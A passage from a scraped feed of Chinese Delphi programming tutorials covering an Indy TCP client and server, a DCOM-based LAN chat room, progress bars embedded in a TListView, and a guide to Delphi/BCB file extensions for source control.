	Indy使用一个特殊的组件TIdAntiFreeze来透明地解决客户程序用户界面&amp;ldquo;冻结&amp;rdquo;的问题。TIdAntiFreeze在Indy内部定时中断对栈的调用，并在中断期间调用Application.ProcessMessages方法处理消息，而外部的Indy调用继续保存阻塞状态，就好像TIdAntiFreeze对象不存在一样。你只要在程序中的任意地方添加一个TIdAntiFreeze对象，就能在客户程序中利用到阻塞式Socket的所有优点而避开它的一些显著缺点。

	Indy使用了线程技术

	阻塞式Socekt通常都采用线程技术，Indy也是如此。从最底层开始，Indy的设计都是线程化的。因此用Indy创建服务器和客户程序跟在Unix下十分相似，并且Delphi的快速开发环境和Indy对WinSock的良好封装使得应用程序创建更加容易。

	Indy服务器模型

	一个典型的Unix服务器有一个或多个监听进程，它们不停地监听进入的客户连接请求。对于每一个需要服务的客户，都fork一个新进程来处理该客户的所有事务。这样一个进程只处理一个客户连接，就变得十分容易。

	Indy服务器工作原理同Unix服务器十分类似，只是Windows不像Unix那样支持fork，而是支持线程，因此Indy服务器为每一个客户连接分配一个线程。

	图1显示了Indy服务器的工作原理。Indy服务器组件创建一个同应用程序主线程分离的监听线程来监听客户连接请求，对于接受的每一个客户，都创建一个新的线程来为该客户提供服务，所有与这一客户相关的事务都由该线程来处理。

	&amp;nbsp;

	图1 Indy服务器工作原理

	使用组件TIdThreadMgrPool，Indy还支持线程池。

	线程与Indy客户程序

	Indy客户端组件并未使用线程。但是在一些高级的客户程序中，程序员可以在自定义的线程中使用Indy客户端组件，以使用户界面更加友好。

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 虚度

	&amp;nbsp;

	简单的Indy应用示例

	下面将创建一个简单的TCP客户程序和一个简单的TCP服务器来演示Indy的基本使用方法。客户程序使用TCP协议同服务器连接，并向服务器发送用户所输入数据。服务器支持两条命令：DATA和QUIT。在DATA命令后跟随要发送的数据，并用空格将命令字DATA和数据分隔开。

	表单布局

	建立一个项目组，添加一个客户程序项目和一个服务器项目。客户程序和服务器程序的表单布局如同2和图3所示。客户程序表单上放置了TIdTCPClient组件，服务器程序表单上放置了TIdTCPServer组件。为防止客户程序&amp;ldquo;冻结&amp;rdquo;，还在其表单上放置TIdAntiFreeze组件。

	&amp;nbsp;

	图2 简单的TCP客户程序表单

	&amp;nbsp;

	图3 简单的TCP服务器程序表单

	客户程序和服务器程序的表单上都放置有TListBox组件，用来显示通信记录。

	客户程序代码

	客户程序片断如代码列表1所示。

	代码列表1

	procedure TFormMain.BtnConnectClick(Sender: TObject);
	begin
	IdTCPClient.Host := EdtHost.Text;
	IdTCPClient.Port := StrToInt(EdtPort.Text);
	LbLog.Items.Add(&amp;#39;正在连接 &amp;#39; + EdtHost.Text + &amp;#39;...&amp;#39;);
	with IdTCPClient do
	begin
	try
	Connect(5000);
	try
	LbLog.Items.Add(ReadLn());
	BtnConnect.Enabled := False;
	BtnSend.Enabled := True;
	BtnDisconnect.Enabled := True;
	except
	LbLog.Items.Add(&amp;#39;远程主机无响应！&amp;#39;);
	IdTCPClient.Disconnect();
	end;//end try
	except
	LbLog.Items.Add(&amp;#39;无法建立到&amp;#39; + EdtHost.Text + &amp;#39;的连接！&amp;#39;);
	end;//end try
	end;//end with
	end;
	procedure TFormMain.BtnSendClick(Sender: TObject);
	begin
	LbLog.Items.Add(&amp;#39;DATA &amp;#39; + EdtData.Text);
	with IdTCPClient do
	begin
	try
	WriteLn(&amp;#39;DATA &amp;#39; + EdtData.Text);
	LbLog.Items.Add(ReadLn())
	except
	LbLog.Items.Add(&amp;#39;发送数据失败！&amp;#39;);
	IdTCPClient.Disconnect();
	LbLog.Items.Add(&amp;#39;同主机 &amp;#39; + EdtHost.Text + &amp;#39; 的连接已断开！&amp;#39;);
	BtnConnect.Enabled := True;
	BtnSend.Enabled := False;
	BtnDisconnect.Enabled := False;
	end;//end try
	end;//end with
	end;
	procedure TFormMain.BtnDisconnectClick(Sender: TObject);
	var
	Received: string;
	begin
	LbLog.Items.Add(&amp;#39;QUIT&amp;#39;);
	try
	IdTCPClient.WriteLn(&amp;#39;QUIT&amp;#39;);
	finally
	IdTCPClient.Disconnect();
	LbLog.Items.Add(&amp;#39;同主机 &amp;#39; + EdtHost.Text + &amp;#39; 的连接已断开！&amp;#39;);
	BtnConnect.Enabled := True;
	BtnSend.Enabled := False;
	BtnDisconnect.Enabled := False;
	end;//end try
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 虚度

	&amp;nbsp;

	在&amp;ldquo;连接&amp;rdquo;按钮事件响应过程中，首先根据用户输入设置IdTCPClient的主机和端口，并调用IdTCPClient的Connect方法向服务器发出连接请求。然后调用ReadLn方法读取服务器应答数据。

	在&amp;ldquo;发送&amp;rdquo;按钮事件响应过程中，调用WriteLn方法写DATA命令，向服务器发送数据。

	在&amp;ldquo;断开&amp;rdquo;按钮事件响应过程中，向服务器发送QUIT命令，并调用Disconnect方法断开连接。

	程序中还包含有通信信息记录和异常处理的代码。

	服务器程序代码

	服务器程序片断如代码列表2所示。

	代码列表2

	procedure TFormMain.BtnStartClick(Sender: TObject);
	begin
	IdTCPServer.DefaultPort := StrToInt(EdtPort.Text);
	IdTCPServer.Active := True;
	BtnStart.Enabled := False;
	BtnStop.Enabled := True;
	LbLog.Items.Add(&amp;#39;服务器已成功启动！&amp;#39;);
	end;
	procedure TFormMain.BtnStopClick(Sender: TObject);
	begin
	IdTCPServer.Active := False;
	BtnStart.Enabled := True;
	BtnStop.Enabled := False;
	LbLog.Items.Add(&amp;#39;服务器已成功停止！&amp;#39;);
	end;
	procedure TFormMain.IdTCPServerConnect(AThread: TIdPeerThread);
	begin
	LbLog.Items.Add(&amp;#39;来自主机 &amp;#39;
	+ AThread.Connection.Socket.Binding.PeerIP
	+ &amp;#39; 的连接请求已被接纳！&amp;#39;);
	AThread.Connection.WriteLn(&amp;#39;100: 欢迎连接到简单TCP服务器！&amp;#39;);
	end;
	procedure TFormMain.IdTCPServerExecute(AThread: TIdPeerThread);
	var
	sCommand: string;
	begin
	with AThread.Connection do
	begin
	sCommand := ReadLn();
	FLogEntry := sCommand + &amp;#39; 来自于主机 &amp;#39;
	+ AThread.Connection.Socket.Binding.PeerIP;
	AThread.Synchronize(AddLogEntry);
	if AnsiStartsText(&amp;#39;DATA &amp;#39;, sCommand) then
	begin
	FReceived := RightStr(sCommand, Length(sCommand)-5);
	WriteLn(&amp;#39;200: 数据接收成功！&amp;#39;);
	AThread.Synchronize(DisplayData);
	end
	else if SameText(sCommand, &amp;#39;QUIT&amp;#39;) then begin
	FLogEntry := &amp;#39;断开同主机 &amp;#39;
	+ AThread.Connection.Socket.Binding.PeerIP
	+ &amp;#39; 的连接！&amp;#39;;
	AThread.Synchronize(AddLogEntry);
	Disconnect;
	end
	else begin
	WriteLn(&amp;#39;500: 无法识别的命令！&amp;#39;);
	FLogEntry := &amp;#39;无法识别命令：&amp;#39; + sCommand;
	AThread.Synchronize(AddLogEntry);
	end;//endif
	end;
	end;
	procedure TFormMain.DisplayData();
	begin
	EdtData.Text := FReceived;
	end;
	procedure TFormMain.AddLogEntry();
	begin
	LbLog.Items.Add(FLogEntry);
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 虚度

	&amp;nbsp;

	&amp;ldquo;启动&amp;rdquo;按钮设置IdTCPServer 的Active属性为True来启动服务器，&amp;ldquo;停止&amp;rdquo;按钮设置Active属性为False来关闭服务器。

	IdTCPServerConnect方法作为IdTCPServer 的OnCorrect事件响应过程，向客户端发送欢迎信息。OnCorrect事件在一个客户连接请求被接受时发生，为该连接创建的线程AThread被作为参数传递给IdTCPServerConnect方法。

	IdTCPServerExecute方法是IdTCPServer 的OnExecute事件响应过程。OnExecute事件在TIdPeerThread对象试图执行其Run方法时发生。OnExecute事件与通常的事件有所不同，其响应过程是在某个线程上下文中执行的，参数AThread就是调用它的线程。这一点很重要，它意味着可能有多个OnExecute事件响应过程被同时执行。在连接被断开或中断前，OnExecute事件响应过程会被反复执行。

	在IdTCPServerExecute方法中，首先读入一条指令，然后对指令进行判别。如果是DATA指令，就解出数据并显示它。如果收到的是QUIT指令，则断开连接。需要特别指出的是，由于IdTCPServerExecute方法在某一线程上下文中执行，因此显示数据和添加事件记录都是将相应的方法传递给Synchronize调用来完成的。

	运行程序

	运行客户端和服务器程序，按如下流程进行操作：

	1. 按服务器程序的&amp;ldquo;启动&amp;rdquo;按钮启动服务器；

	2. 按客户程序的&amp;ldquo;连接&amp;rdquo;按钮，建立同服务器的连接；

	3. 在客户程序的待发送数据编辑框中输入&amp;ldquo;Hello, Indy!&amp;rdquo;，并按&amp;ldquo;发送&amp;rdquo;按钮发送数据；

	4. 按客户程序的&amp;ldquo;断开&amp;rdquo;按钮，断开同服务器的连接；

	5. 按服务器程序的&amp;ldquo;停止&amp;rdquo;按钮停止服务器。

	程序运行的结果如图4和图5所示。

	&amp;nbsp;

	图4 简单的TCP客户

	&amp;nbsp;

	图5 简单的TCP服务器

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,中用,Indy,组件,开发,Socket,应用 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>Delphi开发基于DCOM的聊天室 </title>
<link>http://www.youjoys.cn/knowledge/20110728/392.html </link>
<description>分布式COM（以下简称DCOM）的出现给我们轻松的创建分布式应用提供了机会；我们可以完全不去理会低级别的Windows Sockets（DCOM通过MS-RPC让客户与对象进行通信 </description>
<text>
	副标题#e# hkbarton

	分布式COM（以下简称DCOM）的出现给我们轻松的创建分布式应用提供了机会；我们可以完全不去理会低级别的Windows Sockets（DCOM通过MS-RPC让客户与对象进行通信，幸运的是要开发COM应用，开发者几乎可以不去理会MS-RPC）而开发出功能强大、偶合性低（功能模块相对独立，很好的发挥了OO的思想）、易于部署的分布式计算系统。

	本文我们打算使用DCOM来开发一个局域网聊天室，不仅是作为技术上的研究，实际上我相信这应该也是一个有用的工具。首先我们要对这个聊天室的功能有一个大致的了解：

	1、至少这个聊天室应该允许多个局域网用户进行聊天。

	2、应该能够有多个话题的子聊天室，用户可以选择进入某个聊天室进行聊天。

	3、客户端应该尽量简单（不用配置DCOM），并需要一个端管理所有的交互行为，管理聊天室的数目和相关配置，并做好系统监测和日志记录等。

	4、对聊天室功能进行扩展（如悄悄话功能，表情符号等）。根据以上的功能描述，在仔细分析问题以后我们设计出下面的草图：

	&amp;nbsp;

	这篇文章中我们要大致实现这个程序的一个基本的核心，包括IChatManager、TChatRoomManager、TchatRoom，完成一个最基本功能的服务器端，并做一个简单的客户端进行检测。我们的重点是服务器端，因为它将实现聊天室的大部分功能，客户端只是一个十分小巧简单的程序。

	由于篇幅关系，我们只列出重要的部分的代码，完整的程序请给我发email。首先来看看我们的IchatManager接口是什么样子：

	IChatManager = interface(IDispatch)
	[&amp;#39;{E7CD7F0D-447F-497A-8C7B-1D80E748B67F}&amp;#39;]
	procedure SpeakTo(const content: WideString; destid: Integer); safecall;
	//客户向指定的房间说话，destid为房间号
	function ReadFrom(sourceid: Integer): IStrings; safecall;
	//客户从指定的房间读取谈话内容，sourceid为房间号
	function ReadReady(id: Integer): Byte; safecall;
	//客户检测指定的房间是否已经可以读取谈话内容
	procedure ConnectRoom(const UserName: WideString; RoomID: Integer); safecall;
	//客户登陆指定房间
	procedure DisconnectRoom(const UserName: WideString; RoomID: Integer); safecall;
	//客户退出指定房间
	function TestClearBufferTag(RoomID: Integer): Integer; safecall;
	//客户测试指定房间的缓冲区的清空与否状况
	end;
	再来看看接口的实现类TChatManager部分：
	type
	TChatManager = class(TAutoObject, IChatManager)
	protected
	function ReadFrom(sourceid: Integer): IStrings; safecall;
	//在这里我们使用Delphi扩展的复杂类型TStings，为了让COM支持这种
	//类型，delphi提供了IStrings接口
	procedure SpeakTo(const content: WideString; destid: Integer); safecall;
	function ReadReady(id: Integer): Byte; safecall;
	//用来提供给客户端查询指定的房间是否可读，既指定房间缓冲区是否为空
	procedure ConnectRoom(const UserName: WideString; RoomID: Integer);
	safecall;
	procedure DisconnectRoom(const UserName: WideString; RoomID: Integer);
	safecall;
	function TestClearBufferTag(RoomID: Integer): Integer; safecall;
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# hkbarton

	&amp;nbsp;

	实现部分：

	function TChatManager.ReadFrom(sourceid: Integer): IStrings;
	var
	TempRoom:TChatRoom;
	begin
	TempRoom:=ChatRoomManager.FindRoomByID(sourceid);
	while TempRoom.Locked do
	begin
	//do nothing只是等待解锁
	end;
	GetOleStrings(TempRoom.OneRead,Result);
	end;
	procedure TChatManager.SpeakTo(const content: WideString; destid: Integer);
	var
	TempRoom:TChatRoom;
	begin
	TempRoom:=ChatRoomManager.FindRoomByID(destid);
	while TempRoom.Locked do
	begin
	//do nothing只是等待解锁
	end;
	TempRoom.OneSpeak(content);
	end;
	function TChatManager.ReadReady(id: Integer): Byte;
	var
	TempRoom:TChatRoom;
	begin
	TempRoom:=ChatRoomManager.FindRoomByID(id);
	if TempRoom.CanRead then result:=1 else Result:=0;
	end;
	procedure TChatManager.ConnectRoom(const UserName: WideString;
	RoomID: Integer);
	//客户端通过接口登陆到指定的房间，没有完全实现
	var
	TempRoom:TChatRoom;
	begin
	TempRoom:=ChatRoomManager.FindRoomByID(RoomID);
	TempRoom.LoginRoom(UserName);
	end;
	procedure TChatManager.DisconnectRoom(const UserName: WideString;
	RoomID: Integer);
	//客户端通过接口离开指定的房间，没有完全实现
	var
	TempRoom:TChatRoom;
	begin
	TempRoom:=ChatRoomManager.FindRoomByID(RoomID);
	TempRoom.LeaveRoom(UserName);
	end;
	function TChatManager.TestClearBufferTag(RoomID: Integer): Integer;
	var
	TempRoom:TChatRoom;
	begin
	TempRoom:=ChatRoomManager.FindRoomByID(RoomID);
	result:=TempRoom.ClearBufferTag;
	end;
	initialization
	TAutoObjectFactory.Create(ComServer, TChatManager, Class_ChatManager,
	ciMultiInstance, tmApartment);
	end.

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# hkbarton

	&amp;nbsp;

	比较关键TchatRoom是下面的样子：

	type
	TChatRoom=class
	private
	FBuffer:array[1..20] of string;
	FBufferLength:integer;
	FRoomName:string;
	FRoomID:integer;
	FLocked:boolean;//同步锁，用来处理多人同时发出对话的情况
	FConnectCount:integer;//当前房间的人数
	FClearBufferTag:integer;
	//每清空一次buffer此值便跳变一次，此脉冲被客户端检测
	protected
	procedure ClearBuffer;//清空缓冲区
	function GetCanRead:boolean;
	public
	constructor Create(RoomName:string;RoomID:integer);
	procedure OneSpeak(content:string);//将一条聊天内容加入缓冲区
	procedure LoginRoom(UserName:string);//参看实现部分注释
	procedure LeaveRoom(UserName:string);//参看实现部分注释
	function OneRead:Tstrings;//从缓冲区中读出记录
	property Locked:boolean read FLocked; //readonly;//供IChatManager检测
	property CanRead:boolean read GetCanRead;//判断缓冲区是否为空，否则是不可读的
	property ClearBufferTag:integer read FClearBufferTag;
	end;
	TchatRoom的实现：
	{ TChatRoom }
	constructor TChatRoom.Create(RoomName:string;RoomID:integer);
	begin
	FBufferLength:=0;
	FConnectCount:=0;
	FClearBufferTag:=1;
	FLocked:=false;
	FRoomName:=RoomName;
	FRoomID:=RoomID;
	end;
	procedure TChatRoom.ClearBuffer;
	var
	i:integer;
	begin
	///在这里可以检测一个标志，判断是否需要服务器记录每一次聊天内容
	for i:=1 to 20 do
	FBuffer[i]:=&amp;#39;&amp;#39;;
	FBufferLength:=0;
	FClearBufferTag:=0-FClearBufferTag;
	end;
	procedure TChatRoom.OneSpeak(content:string);
	begin
	FLocked:=true;
	inc(FBufferLength);
	if FBufferLength&amp;gt;20 then
	begin
	ClearBuffer;
	inc(FBufferLength);
	end;
	FBuffer[FBufferLength]:=content;
	FLocked:=false;
	end;
	function TChatRoom.OneRead:TStrings;
	var
	FStrings:TStrings;
	i:integer;
	begin
	FLocked:=true;
	FStrings:=TStringList.Create;
	for i:=1 to FBufferLength do
	FStrings.Add(FBuffer[i]);
	result:=FStrings;
	FLocked:=false;
	end;
	function TChatRoom.GetCanRead: boolean;
	begin
	result:=false;
	if FBufferLength&amp;gt;0 then result:=true;
	end;
	procedure TChatRoom.LoginRoom(UserName:string);
	//用户登陆聊天室事件，这里没有完全实现
	begin
	inc(FConnectCount);
	end;
	procedure TChatRoom.LeaveRoom(UserName: string);
	//用户离开聊天室事件，这里没有完全实现
	begin
	Dec(FConnectCount);
	end;
	服务器端的最后一个比较重要的部分TchatRoomManager：
	type
	TChatRoomManager=class
	private
	ChatRoom:array of TChatRoom;
	public
	constructor Create;
	function FindRoomByID(id:integer):TChatRoom;
	end;
	实现部分：
	{ TChatRoomManager }
	constructor TChatRoomManager.Create;
	var
	i,RoomCount:integer;
	RoomNames:TStrings;//RoomName是配置文件中的聊天室名称
	begin
	RoomCount:=1;
	//这里将从配置文件中读出有几个聊天室
	RoomNames:=TStringList.Create;
	RoomNames.Add(&amp;#39;TestRoom&amp;#39;);//这句将被最终的从配置文件读取替换掉
	setlength(ChatRoom,RoomCount);
	for i:=1 to RoomCount do
	ChatRoom[i]:=TChatRoom.Create(RoomNames[i-1],i);
	end;
	function TChatRoomManager.FindRoomByID(id:integer): TChatRoom;
	//该函数由IChatManager接口调用，由于最终版本的接口将会提供给客户
	//端得到房间列表的功能，所以客户端知道自己房间的id
	begin
	result:=ChatRoom[id];
	end;
	initialization
	ChatRoomManager:=TChatRoomManager.Create;
	end.

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# hkbarton

	&amp;nbsp;

	在服务器端的主要核心部分完成以后，我们配置好服务器端的DCOM配置，就可以开发一个简单的客户端进行测试了：（虽然客户端尽可能的简单，我们不用配置DCOM但我们仍需要拷贝服务器端的类型库文件.tlb到客户端并注册后才能开发和使用客户端，当然，这些都可以通过安装程序来完成）

	在客户端我们只列出两个相对重要的函数，其余的都省略，请想我来信获得全部的程序：

	procedure TForm1.Button1Click(Sender: TObject);
	//点击button1后将edit的内容&amp;ldquo;说&amp;rdquo;出去
	begin
	Server.SpeakTo(edit1.Text,1);
	end;
	procedure TForm1.Timer1Timer(Sender: TObject);
	//每隔一段时间向服务器请求谈话内容，我设置了为1.5秒
	var
	TempStrings:TStrings;
	i:integer;
	begin
	if Server.ReadReady(1)=1 then
	begin
	TempStrings:=TStringList.Create;
	SetOleStrings(TempStrings,Server.ReadFrom(1));
	if FReadStartPos&amp;gt;19 then
	if (FClearBufferTag=0-Server.TestClearBufferTag(1)) then
	begin
	FReadStartPos:=0;
	FClearBufferTag:=Server.TestClearBufferTag(1);
	end;
	for i:=FReadStartPos to TempStrings.Count-1 do
	Memo1.Lines.Add(TempStrings[i]);
	FReadStartPos:=TempStrings.Count;
	end;
	end;

	一个基于DCOM的局域网聊天室的核心部分就基本完成了，并且所有的测试都比较顺利，这里需要补充说明一下聊天室服务器的一个难点：就是需要开发者非常谨慎的处理同步，虽然我也进行了一定的同步处理，但在客户端人数众多的情况下仍然可能发生死锁或其它活锁的情况，这个程序还需要更进一步的测试、甚至进行一定的重构。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,开发,基于,DCOM,聊天室,副标题,#e#, </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>Delphi实现下载进程的动态显示 </title>
<link>http://www.youjoys.cn/knowledge/20110728/394.html </link>
<description>许多知名的下载软件中都有下载管理器，用一个TListView来显示下载的进程，你可以清楚的看到已经下载了多少，还有多少内容仍需下载，这样的控件，Delphi自身并未 </description>
<text>
	副标题#e# 天极网 小刀轻舞

	许多知名的下载软件中都有下载管理器，用一个TListView来显示下载的进程，你可以清楚的看到已经下载了多少，还有多少内容仍需下载，这样的控件，Delphi自身并未提供，但我们可以在TListView的基础之上加入进度条控件（TProgressBar)来实现这一功能，这样就能既能满足我们的实际需求，又不用&amp;ldquo;牺牲&amp;rdquo;口袋里白花花的银子，还能增加我们对控件嵌套的认识，一箭三雕，何乐而不为呢？

	到底该怎么做呢？让我想想&amp;hellip;&amp;hellip;好了让我们先从TListView的ViewStyle属性开始吧，这个属性我们常用，把TListView做为一个表格来显示各种数据时，我们常常把这个属性设置成vsReport，设置之后，最左边的列（Column)包含一个小的图标和数据，从第二列开始就是显示一个个字段的数据，这是我们最常见的TListView的样子，每天一打开Windows的资源管理器，我们就能看到它。（如图一）

	&amp;nbsp;

	打开Delphi，新建一个工程，在自动生成的Form上，放置一个TListView控件，在它的Columns属性中定义两列，第一列放置数据项（Item)，第二列用来存放Progress.（如图二）

	&amp;nbsp;

	在Form上加入一个按钮（Button)，在按钮的Click事件中加入如下代码，用于在按下按钮时，可以在TListView的第二列显示TProgress。

	添加Item的代码如下：

	procedure TForm1.AddItemButtonClick(Sender: TObject);
	const
	　 pbColumnIndex = 1;
	　 pbMax = 100;
	var
	　 li : TListItem;
	　 lv : TListView;
	　 pb : TProgressBar;
	　 pbRect : TRect;
	begin
	　 lv := ListViewEx1;
	　 //建立一个新的ListItem
	　 li := lv.Items.Add;
	　 li.Caption := &amp;rsquo;Item &amp;rsquo; + IntToStr(lv.Items.Count);
	　 //建立一个ProgressBar，置入TListView的第二列中
	　 pb := TProgressBar.Create(nil);
	　 pb.Parent := lv;
	　 li.Data := pb;
	　 pbRect := li.DisplayRect(drBounds);
	　 pbRect.Left := pbRect.Left +
	　 lv.Columns[-1 + pbColumnIndex].Width;
	　 pbRect.Right := pbRect.Left +
	　 lv.Columns[pbColumnIndex].Width;
	　 pb.BoundsRect := pbRect;
	end; //添加ItemButton事件

	上面的代码可以实现这样的功能：按下按钮之后，一个Progressbar被建立，一个对Progressbar的引用被加进ListItem的Data属性，最后，Progressbar被放置在由pbColumnIndex属性指定的列中。

	当想要将一个项（Item）从TListView中删除，你必须先判断添加进去的Progressbar的内存占用是否已经被释放，如果已经完成，就继续。

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# 天极网 小刀轻舞

	&amp;nbsp;

	删除Item的代码如下：

	procedure TForm1.RemoveItemButtonClick(Sender: TObject);
	var
	　 lv : TListView;
	　 li : TListItem;
	　 i, idx : integer;
	　 pb : TProgressBar;
	begin
	　 lv := ListViewEx1;
	　 li := lv.Selected;
	　 if li &amp;lt;&amp;gt; nil then
	　 begin
	　　 idx := li.Index;
	　　 TProgressBar(li.Data).Free;//先释放TProgressBar
	　　 lv.Items.Delete(idx);
	　　 //把行向上移动
	　　 for i := idx to -1 + lv.Items.Count do
	　　 begin
	　　　 li := lv.Items.Item[i];
	　　　 pb := TProgressBar(li.Data);
	　　　 pb.Top := pb.Top - (pb.BoundsRect.Bottom - pb.BoundsRect.Top);
	　　 end;
	　 end;
	end; //删除ItemButton事件

	完成之后，我们来测试一下，我们拖一个TTimer控件，然后在它的OnTime事件中填入下面的代码，模拟一下在一个真实的环境下，这个被我们美化过的TListView控件会有如何精彩表现，也让大伙一起体会一把写程序的小小成就感吧。（如图三）

	&amp;nbsp;

	代码如下：

	procedure TForm1.Timer1Timer(Sender: TObject);
	var
	　 idx : integer;
	　 pb: TProgressbar;
	　 lv : TListView;
	begin
	　 lv := ListViewEx1;
	　 if lv.Items.Count = 0 then Exit;
	　 //随机生成一个数据项
	　 //根据生成的数据来控制TProgressBar的长度
	　 idx := Random(lv.Items.Count);
	　 pb := TProgressBar(lv.Items[idx].Data);
	　 if pb.Position &amp;lt; pb.Max then
	　　 pb.StepIt
	　 else
	　　 pb.Position := 0;
	end;//Timer事件

	就是这样的简单，任何有名的软件都是由这样的一个个小知识点构成，只要细心体会知名软件的优势与长处，模仿然后改进说不定你能做出比它们都棒的软件！

	开发环境： WindowsXP SP2+Delphi7

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,实现,下载,进程,动态,显示,副标题,#e#, </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>BCB/Delphi相关文件扩展名介绍 </title>
<link>http://www.youjoys.cn/knowledge/20110728/347.html </link>
<description>整理了一下用Delphi作的程序的源代码中常见的文件扩展名，并给出了这些文件扩展名的意义，以便源代码管理时作为参照，扩展名以字母为序（不需要进源代码库不表 </description>
<text>副标题#e# ccrun.com Shenloqi
				
		
		整理了一下用Delphi作的程序的源代码中常见的文件扩展名，并给出了这些文件扩展名的意义，以便源代码管理时作为参照，扩展名以字母为序（不需要进源代码库不表示不需要进库）。
~*
Delphi生成的备份文件，在版本控制库及发布代码中不应该出现这些文件，如果修改了某个文件却因某些原因没有保存的话，可以尝试使用这些文件恢复。
bmp/wmf/emf/gif/jpg/pcx/png/tiff/ico/cur/ani
图形/图标/光标文件，这些文件如果使用到了也需要进源代码库。
bpg
工程组文件（Borland Project Group File），文本格式，需要进源代码库；bpg文件其实是makefile格式，要编译bpg文件可以使用make工具，语法如下：
make -f %FileName%
bpl
运行时刻包文件，是一种Borland定义的特殊格式的dll，简单的说与普通dll的差别就是bpl有一些共用的部分只使用了同一引用，而dll使用了多份拷贝，因此才会使得bpl与dll的某些方面的差别很大。
此类型文件是否进源代码库需要根据其用途来判断，一般情况下源代码编译出来的bpl无需进库，但是如果此bpl是IDE的扩充插件，可能也需要进库，此外如果第三方组件没有提供源码仅提供了此文件，则此文件也需要进源代码库。
bpr/bpf/bpj/h/cpp
BCB(Borland C++ Builder)相关文件，如果工程使用了BCB，则需要进源代码库，但在我们的工程中应该不需要这些文件。
cab
ActiveX控件包文件，如果是工程使用到的第三方控件，则需要进源代码库。
cfg
编译工程时的配置文件。dcc32.exe程序编译工程时使用cfg文件的顺序为：首先使用dcc32.exe同目录下的dcc32.cfg文件，然后使用待编译文件同目录下的dcc32.cfg文件，最后使用待编译文件同目录下的同名的cfg文件，为了保证在不同的机器环境下编译的结果的同一性，此文件需要进源代码库。
dci
Code Insight文件，保存了代码模板（Code template），一般情况下无需进源代码库。
dcp
包含了包（Package）的头信息和包中单元文件的dcu/dpu文件的二进制映像文件，dcp与bpl的差别可以用dcu与dll/exe的差别来理解，delphi编译使用到包的文件时需要此包的dcp文件，此文件可由源代码生成，一般无需进源代码库。
dct
Component Template文件，如果工程使用到了component template则需要进源代码库。
dcu/dpu
单元（unit）对应的二进制映像文件，dpu是Linux下的dcu格式。dcu/dpu是pas的二进制的中间格式，相应的dfm/xfm文件没有链接进dcu/dpu中。一般情况下无需进源代码库，除非是在第三方库以dcu形式提供时。// 本文转自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=1025&amp;amp;d=dwni64
/&amp;gt;
ddp/dti
Diagram文件。Delphi 7提供了Diagram功能，可以在单元文件中使用图形化的描述，此类型文件对编译源代码无影响，但是如果使用了diagram功能，则此文件对理解单元可能会比较有用，在我们的工程中应该无需将这些文件进源代码库，即使有这些文件也可能是因为切换到diagram页卡生成的。
dfm/xfm
窗体文件。xfm是交叉平台源代码使用的窗体文件。dfm/xfm有两种格式，一种是二进制格式，一种是文本格式，为了便于版本控制，需要使用文本格式，文本格式也存在多种格式，Delphi7的文本格式的dfm/xfm保存如中文等使用的是unicode编码值，而Delphi7之前的使用的直接就是ansi，Delphi7支持打开原有格式的dfm文件。需要进源代码库。
dll/so
动态链接库文件。so为Linux下的动态链接库文件。如果是编译出来的dll/so文件，无须进源代码库，如果是工程使用到的第三方库则需要进源代码库。
		#p#副标题#e# ccrun.com Shenloqi
				
		
		
dmt
Menu Template文件，一般无需进源代码库。
dof/kof
Delphi编译工程时的选项文件(Project options file)，kof是Linux平台下的dof文件。此文件包含了Delphi的Project-&amp;gt;Options的信息，也包含了编译配置的信息，此外还包含了目录，链接，版本，条件开关等等。一般情况下dof是同名cfg文件的超集（dof与cfg的格式不一样）。文本格式，为了保证在不同的机器环境下编译的结果的同一性，此文件需要进源代码库。
dpc/pce
包集合文件和包集合编辑文件。Delphi支持将多个包（Package）并入到一个文件中，使用此格式文件可以便于分发多个包给其他开发者，使用此格式可以很简便的配置IDE环境。此文件需要进源代码库。
dpk/dpkw
包文件。dpkw是交叉平台下的dpk文件。包文件列出了包所包含的文件和包所依赖的包，以及包描述信息，包编译选项等。文本格式，需要进源代码库。
dpr
工程文件。文本格式，需要进源代码库。
drc
包资源文件，提供如组件图标等包所需的资源。二进制格式，如果是包使用到的dcr则需要进源代码库。
drl/dro
Repository文件。Delphi提供了repository功能，可以使开发人员共享开发模板，合理使用repository功能可以加快开发速度，开发组配置好共享的repository就可以使用repository了。如未使用到repository功能则无需进源代码库。
dsk
Desktop文件。保存了IDE的布局（也可能包含浏览记号，视乎IDE的设定），为防止开发人员的IDE布局设置。文本格式，此文件不应进源代码库。
exe
可执行文件。如非第三方组件，无需进源代码库。
hlp/cnt/toc/chm
帮助文件。需进源代码库。
idl
接口定义语言文件。IDL定义了接口，COM和CORBA开发经常会使用到IDL。文本格式，需进源代码库。
inc
Include文件。与C++的include不一样。可嵌入Delphi的源代码文件中，Delphi编译是遇$I到include文件时相当于Copy一份inc文件的内容到当前位置，一般用于提取一些重复的每个单元都需要定义的内容，或用于定义通用的编译器指示字条件，甚至可以使用Delphi的inc机制实现C++的范型（可惜不能支持操作符重载）。文本格式，需进源代码库。
inf/reg
注册文件。文本格式，需进源代码库。
ini
初始化配置文件。如果是做为初始设定的配置文件，则需要进源代码库，如果是运行期生成的配置文件，则无需进源代码库。
int
单元的接口部分定义文件。将Delphi的单元的Interface部分提取出来的文件，此类文件类似C++的头文件，但是仅供开发人员参考单元接口部分定义，不参与编译。文本格式，无需进源代码库。
lib
导入库文件。供C++使用的dll的导入库文件，Delphi无需lib文件。如果需要给C++开发者使用某些dll，则需要提供相应的lib文件。可进源代码库。
